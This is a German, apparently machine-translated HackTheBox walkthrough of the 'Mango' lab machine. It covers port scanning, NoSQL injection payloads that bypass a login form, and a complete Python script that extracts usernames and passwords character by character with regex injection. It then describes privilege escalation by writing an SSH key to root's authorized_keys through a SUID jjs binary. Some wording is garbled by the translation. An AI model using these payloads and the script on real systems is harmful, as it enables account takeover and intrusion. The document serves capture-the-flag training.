HackTheBox. Walkthrough Mango. NoSQL-Injektion und LPE über JJS

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .

In diesem Artikel nutzen wir die NoSQL-Injection in Form einer Autorisierung und erhöhen die Berechtigungen durch JJS.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)

Organisationsinformationen
, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.162, die ich zu / etc / hosts hinzufüge.

10.10.10.162    mango.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A mango.htb -p22,80,443

Bild

Schauen wir uns zunächst die Website an. Beim Zugriff auf mango.htb werfen sie uns von http auf https und sprechen über ein Problem mit dem Zertifikat. Wenn Sie den Risiken zustimmen, können Sie diese Seite sehen.

Bild

Aber nichts interessanteres. Der nmap-Scan zeigt SSL-Zertifikat-Informationen an, in denen die Domäne angegeben ist. Fügen Sie es zu / etc / hosts hinzu.
10.10.10.162 staging-order.mango.htb
Und mal sehen, was da ist.

Bild

Es gibt ein Autorisierungsformular - einen möglichen Einstiegspunkt.

Einstiegspunkt


Wir versuchen verschiedene Injektionstechniken, um die Autorisierung zu umgehen. Und wir finden die Standard-NoSql-Injektion, indem wir die Reaktion mit zwei Bedingungen vergleichen: Login ist 123, Passwort ist 123 und Login ist nicht 123, Passwort ist nicht 123.

Bild

Und nach dem erfolgreichen wahren Ergebnis der zweiten Bedingung erhalten wir eine Weiterleitung zu home.php. Somit ist eine NoSql-Injektion möglich.

Bild

Da die Seite nichts Interessantes enthält, können wir dieser Sicherheitsanfälligkeit nur Anmeldungen und Kennwörter entziehen.

BENUTZER


Sehen wir uns die Länge der maximalen Benutzernamen und Passwörter an. Dazu können Sie die folgenden Konstrukte verwenden:
login [$ regex] =. {Length} & password [$ ne] = 123 - für die Anmeldung (ein Vergleich der regulären Ausdrücke für die Anmeldung wird durchgeführt und das Kennwort ist ungültig);
Login [$ ne] = 123; Passwort [$ regex] =. {Länge} für das Passwort.

Lass es uns mit einem Rülpsen-Eindringling machen.

Bild

Bild

Bild

Somit beträgt die Länge des längsten Logins 5 Zeichen. Nachdem wir die gleichen Vorgänge für das Kennwort ausgeführt haben, stellen wir fest, dass die Länge der längsten 16 Zeichen beträgt.

Bild

Da es zu lang ist, um es mit Ihren Händen zu klären, werden wir ein Python-Skript schreiben. Zuerst werden wir eine Sitzung für die Arbeit machen.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


Als nächstes implementieren wir eine Funktion zum Auflisten von Anmeldungen. Die Iteration wird mit dem folgenden regulären Ausdruck ^ name durchgeführt. * - Auf diese Weise wird jeweils ein Zeichen gestreckt.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


Und eine ähnliche Funktion, nur mit dem gefundenen Login.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


VOLLSTÄNDIGER CODE:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


Infolgedessen finden wir die Anmeldeinformationen von zwei Benutzern.

Bild

Wir stellen erfolgreich eine Verbindung zu den Anmeldeinformationen über SSH her.

Bild

Wir haben ein Passwort vom zweiten Benutzer, aber es erlaubt keine Anmeldung über SSH. Wir versuchen, den Benutzer lokal zu ändern, indem wir das uns bekannte Passwort eingeben.

Bild

WURZEL


Lassen Sie uns die grundlegende Aufzählung mit dem LinEnum- Skript durchführen .

Bild

Und wir finden das Programm mit dem gesetzten S-Bit.

Bild

Überprüfen Sie JJS zum Beispiel GTFOBins .

Bild

Es gibt auch Beispiele für den Betrieb. Die lokale Shell aufrufen funktionierte nicht. Sie können jedoch SSH-Schlüssel generieren, public in /root/.ssh/authorized_keys schreiben und eine Verbindung über private herstellen.

Bild

Zählen wir den öffentlichen Schlüssel.

Bild

Und jetzt schreib es auf.

Bild

Und jetzt als root verbinden.

Bild

Sie können sich uns per Telegramm anschließen. Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles